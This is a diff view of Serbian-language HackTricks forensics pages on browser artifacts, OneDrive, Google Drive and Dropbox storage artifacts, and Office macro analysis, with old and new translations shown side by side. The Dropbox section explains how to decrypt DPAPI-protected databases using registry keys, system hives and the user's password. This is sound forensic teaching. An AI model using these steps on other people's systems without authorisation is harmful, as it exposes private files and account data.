* **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenima poseta. Koristite `sqlite3` za upite. * **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenskim oznakama poseta. Koristite `sqlite3` za upite.
* **Downloads.plist**: Informacije o preuzetim fajlovima. * **Downloads.plist**: Informacije o preuzetim datotekama.
* **Bookmarks.plist**: Čuva URL-ove obeleženih stranica. * **Bookmarks.plist**: Čuva obeležene URL-ove.
* **TopSites.plist**: Najposećeniji sajtovi. * **TopSites.plist**: Najčešće posećeni sajtovi.
* **Extensions.plist**: Lista proširenja Safari pregledača. Koristite `plutil` ili `pluginkit` za dobijanje. * **Extensions.plist**: Lista ekstenzija pretraživača Safari. Koristite `plutil` ili `pluginkit` za preuzimanje.
* **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za parsiranje. * **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za analizu.
* **LastSession.plist**: Tabovi iz poslednje sesije. Koristite `plutil` za parsiranje. * **LastSession.plist**: Kartice iz poslednje sesije. Koristite `plutil` za analizu.
* **Ugrađena anti-phishing zaštita pregledača**: Proverite korišćenjem `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 ukazuje na aktivnu funkciju. * **Browsers built-in anti-phishing**: Proverite koristeći `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 označava da je funkcija aktivna.
## Opera ## Opera
Podaci Operinog pregledača se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dele format istorije i preuzimanja sa Chrome-om. Opera podaci se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i deli format Chrome-a za istoriju i preuzimanja.
* **Ugrađena anti-phishing zaštita pregledača**: Proverite da li je `fraud_protection_enabled` u fajlu Preferences postavljen na `true` korišćenjem `grep`. * **Browsers built-in anti-phishing**: Proverite tako što ćete videti da li je `fraud_protection_enabled` u datoteci Preferences postavljeno na `true` koristeći `grep`.
Ove putanje i komande su ključne za pristupanje i razumevanje podataka o pregledanju koje čuvaju različiti web pregledači. Ove putanje i komande su ključne za pristup i razumevanje podataka o pretraživanju koje čuvaju različiti web pretraživači.
## Reference ## References
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) * [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) * [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) * [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **Knjiga: OS X Incident Response: Scripting and Analysis By Jaron Bradley strana 123** * **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) da biste lako kreirali i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatom** zajednice.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Učite AWS hacking od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-a: Ostali načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) * Ako želite da vidite vašu **kompaniju oglašenu u HackTricks** ili **preuzmete HackTricks u PDF** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Pribavite [**službeni PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -1,70 +1,71 @@
# Lokalno skladištenje u oblaku # Lokalna Cloud Skladišta
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
Dobijte pristup danas: Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive ## OneDrive
U Windows-u, možete pronaći OneDrive fasciklu u `\Users\<korisničko_ime>\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći fajl `SyncDiagnostics.log` koji sadrži neke zanimljive podatke u vezi sa sinhronizovanim fajlovima: U Windows-u, možete pronaći OneDrive folder u `\Users\<username>\AppData\Local\Microsoft\OneDrive`. I unutar `logs\Personal` moguće je pronaći datoteku `SyncDiagnostics.log` koja sadrži neke zanimljive podatke o sinhronizovanim datotekama:
* Veličina u bajtovima * Veličina u bajtovima
* Datum kreiranja * Datum kreiranja
* Datum modifikacije * Datum modifikacije
* Broj fajlova u oblaku * Broj datoteka u cloud-u
* Broj fajlova u fascikli * Broj datoteka u folderu
* **CID**: Jedinstveni ID OneDrive korisnika * **CID**: Jedinstveni ID OneDrive korisnika
* Vreme generisanja izveštaja * Vreme generisanja izveštaja
* Veličina HD-a OS-a * Veličina HD operativnog sistema
Kada pronađete CID, preporučljivo je **pretražiti fajlove koji sadrže ovaj ID**. Možda ćete moći pronaći fajlove sa imenima: _**\<CID>.ini**_ i _**\<CID>.dat**_ koji mogu sadržati zanimljive informacije poput imena fajlova sinhronizovanih sa OneDrive-om. Kada pronađete CID, preporučuje se da **pretražujete datoteke koje sadrže ovaj ID**. Možda ćete moći da pronađete datoteke sa imenom: _**\<CID>.ini**_ i _**\<CID>.dat**_ koje mogu sadržati zanimljive informacije kao što su imena datoteka sinhronizovanih sa OneDrive-om.
## Google Drive ## Google Drive
U Windows-u, možete pronaći glavnu Google Drive fasciklu u `\Users\<korisničko_ime>\AppData\Local\Google\Drive\user_default`\ U Windows-u, možete pronaći glavni Google Drive folder u `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Ova fascikla sadrži fajl nazvan Sync\_log.log sa informacijama poput email adrese naloga, imena fajlova, vremenskih oznaka, MD5 heševa fajlova, itd. Čak i obrisani fajlovi se pojavljuju u tom log fajlu sa odgovarajućim MD5 vrednostima. Ovaj folder sadrži datoteku pod nazivom Sync\_log.log sa informacijama kao što su email adresa naloga, imena datoteka, vremenski oznake, MD5 heševi datoteka, itd. Čak i obrisane datoteke se pojavljuju u toj log datoteci sa svojim odgovarajućim MD5.
Fajl **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **fajlova**, vreme modifikacije, veličinu i MD5 kontrolnu sumu fajlova. Datoteka **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **datoteka**, vreme modifikacije, veličinu i MD5 kontrolni zbir datoteka.
Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanje deljenih fascikli i verziju Google Drive-a. Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanju deljenih foldera i verziju Google Drive-a.
## Dropbox ## Dropbox
Dropbox koristi **SQLite baze podataka** za upravljanje fajlovima. U ovim\ Dropbox koristi **SQLite baze podataka** za upravljanje datotekama. U ovom\
Možete pronaći baze podataka u fasciklama: Možete pronaći baze podataka u folderima:
* `\Users\<korisničko_ime>\AppData\Local\Dropbox` * `\Users\<username>\AppData\Local\Dropbox`
* `\Users\<korisničko_ime>\AppData\Local\Dropbox\Instance1` * `\Users\<username>\AppData\Local\Dropbox\Instance1`
* `\Users\<korisničko_ime>\AppData\Roaming\Dropbox` * `\Users\<username>\AppData\Roaming\Dropbox`
Glavne baze podataka su: A glavne baze podataka su:
* Sigstore.dbx * Sigstore.dbx
* Filecache.dbx * Filecache.dbx
* Deleted.dbx * Deleted.dbx
* Config.dbx * Config.dbx
Ekstenzija ".dbx" znači da su **baze podataka** **šifrovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) Ekstenzija ".dbx" znači da su **baze podataka** **enkriptovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Da biste bolje razumeli šifrovanje koje Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). Da biste bolje razumeli enkripciju koju Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Međutim, glavne informacije su: Međutim, glavne informacije su:
@ -73,64 +74,65 @@ Međutim, glavne informacije su:
* **Algoritam**: PBKDF2 * **Algoritam**: PBKDF2
* **Iteracije**: 1066 * **Iteracije**: 1066
Osim tih informacija, da biste dešifrovali baze podataka, još uvek vam je potrebno: Pored tih informacija, da biste dekriptovali baze podataka, još uvek vam je potrebno:
* **Šifrovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne) * **enkriptovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne)
* **`SYSTEM`** i **`SECURITY`** košnice * **`SYSTEM`** i **`SECURITY`** hives
* **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\<korisničko_ime>\AppData\Roaming\Microsoft\Protect` * **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* **korisničko ime** i **lozinka** Windows korisnika * **korisničko ime** i **lozinka** Windows korisnika
Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (443).png>) ![](<../../../.gitbook/assets/image (443).png>)
Ako sve ide kako se očekuje, alat će pokazati **primarni ključ** koji vam je potreban da biste **koristili za oporavak originalnog ključa**. Da biste oporavili originalni ključ, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "lozinku" unutar recepta. Ako sve prođe kako se očekuje, alat će označiti **primarni ključ** koji treba da **koristite za oporavak originalnog**. Da biste povratili originalni, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "lozinku" unutar recepta.
Rezultujući heks je konačni ključ koji se koristi za šifrovanje baza podataka koje se mogu dešifrovati sa: Rezultantni heksadecimalni broj je konačni ključ koji se koristi za enkripciju baza podataka koje se mogu dekriptovati sa:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
Baza podataka **`config.dbx`** sadrži: The **`config.dbx`** baza podataka sadrži:
- **Email**: Email korisnika * **Email**: Email korisnika
- **usernamedisplayname**: Ime korisnika * **usernamedisplayname**: Ime korisnika
- **dropbox\_path**: Putanja gde se nalazi Dropbox folder * **dropbox\_path**: Putanja gde se nalazi dropbox folder
- **Host\_id: Hash** korišćen za autentifikaciju na oblaku. Ovo se može opozvati samo sa veba. * **Host\_id: Hash** korišćen za autentifikaciju u cloud. Ovo se može opozvati samo sa veba.
- **Root\_ns**: Identifikator korisnika * **Root\_ns**: Identifikator korisnika
Baza podataka **`filecache.db`** sadrži informacije o svim fajlovima i fasciklama sinhronizovanim sa Dropbox-om. Tabela `File_journal` je ona sa najkorisnijim informacijama: The **`filecache.db`** baza podataka sadrži informacije o svim datotekama i folderima sinhronizovanim sa Dropbox-om. Tabela `File_journal` je ona sa više korisnih informacija:
- **Server\_path**: Putanja gde se fajl nalazi unutar servera (ova putanja je prethodjena `host_id`-om klijenta). * **Server\_path**: Putanja gde se datoteka nalazi unutar servera (ova putanja je prethodna `host_id` klijenta).
- **local\_sjid**: Verzija fajla * **local\_sjid**: Verzija datoteke
- **local\_mtime**: Datum modifikacije * **local\_mtime**: Datum modifikacije
- **local\_ctime**: Datum kreiranja * **local\_ctime**: Datum kreiranja
Druge tabele unutar ove baze podataka sadrže još interesantnih informacija: Ostale tabele unutar ove baze sadrže zanimljivije informacije:
- **block\_cache**: heš svih fajlova i fascikli Dropbox-a * **block\_cache**: hash svih datoteka i foldera Dropbox-a
- **block\_ref**: Povezan je ID heša iz tabele `block_cache` sa ID fajla u tabeli `file_journal` * **block\_ref**: Povezuje hash ID tabele `block_cache` sa ID datoteke u tabeli `file_journal`
- **mount\_table**: Deljenje fascikli Dropbox-a * **mount\_table**: Deljeni folderi Dropbox-a
- **deleted\_fields**: Obrisani fajlovi sa Dropbox-a * **deleted\_fields**: Obrišene datoteke Dropbox-a
- **date\_added** * **date\_added**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
- **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Analiza Office datoteka # Analiza Office datoteka
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) da biste lako kreirali i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima** zajednice.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
Za dodatne informacije pogledajte [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak: Za više informacija proverite [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak:
Microsoft je kreirao mnogo formata kancelarijskih dokumenata, pri čemu su dva glavna tipa **OLE formati** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formati** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu sadržati makroe, čineći ih metama za phishing i malware. OOXML datoteke su strukturirane kao zip kontejneri, što omogućava inspekciju putem dekompresije, otkrivajući strukturu datoteka i foldera i sadržaj XML datoteka. Microsoft je kreirao mnoge formate Office dokumenata, pri čemu su dva glavna tipa **OLE formati** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formati** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, što ih čini metama za phishing i malware. OOXML datoteke su strukturirane kao zip kontejneri, što omogućava inspekciju kroz raspakivanje, otkrivajući hijerarhiju datoteka i foldera i sadržaj XML datoteka.
Za istraživanje struktura OOXML datoteka, dat je komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim datotekama su dokumentovane, što ukazuje na stalnu inovaciju u skrivanju podataka u okviru CTF izazova. Da bi se istražile strukture OOXML datoteka, data je komanda za raspakivanje dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim datotekama su dokumentovane, što ukazuje na kontinuiranu inovaciju u skrivanju podataka unutar CTF izazova.
Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne sadržaje. Analiza VBA makroa može se sprovesti bez Microsoft Office-a korišćenjem Libre Office-a, što omogućava debagovanje sa prekidnim tačkama i promenljivim vrednostima. Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malware-a, obično preuzimajući i izvršavajući dodatne zlonamerne pakete. Analiza VBA makroa može se izvršiti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa tačkama prekida i posmatranim promenljivama.
Instalacija i korišćenje **oletools**-a su jednostavni, sa komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec` ili `Document_Open`. Instalacija i korišćenje **oletools** su jednostavni, sa komandama za instalaciju putem pip-a i vađenje makroa iz dokumenata. Automatsko izvršavanje makroa se pokreće funkcijama kao što su `AutoOpen`, `AutoExec` ili `Document_Open`.
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
@ -38,21 +39,22 @@ olevba -c /path/to/document #Extract macros
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
{% hint style="success" %}
